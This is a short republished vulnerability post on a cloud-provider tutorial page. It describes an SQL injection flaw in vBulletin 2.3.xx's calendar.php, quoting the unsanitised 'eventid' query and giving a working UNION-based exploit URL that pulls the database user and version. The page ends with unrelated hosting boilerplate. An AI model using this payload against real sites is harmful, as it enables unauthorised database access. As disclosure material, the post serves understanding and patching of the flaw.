VBulletin Forum 2.3.xx SQL injection_php Tutorial

Source: Internet
Author: User
Tags vbulletin
VBulletin Forum 2.3.xx SQL injectionthere exist a SQL injection problem in calendar.php.

--------Cut from line 585 in calendar.php----------
else if ($action = = "Edit")
{
$eventinfo = $DB _site->query_first ("Select Allowsmilies,public,userid,
Eventdate,event,subject from calendar_events WHERE EventID = $eventid ");
-----------------------------------------------------

If the MySQL version is greater than 4.00, a UNION attack could be used.

-----------------------------------------
Http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20 (Select%20allowsmilies,public,userid, ' 0000-0-0 ', User (), version ()%20from%20calendar_ev
ents%20where%20eventid%20=%2013)%20order%20by%20eventdate
-----------------------------------------

The Query_first function would only return the first row of the query to result, so make sure it returns!
The one you want.

http://www.bkjia.com/PHPjc/314536.html www.bkjia.com true http://www.bkjia.com/PHPjc/314536.html techarticle vBulletin Forum 2.3.xx SQL injectionthere exist a SQL injection problem in calendar.php.--------Cut from line 585 in calendar.php----------Else if ($action = = "edit") {$eventi ...

  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.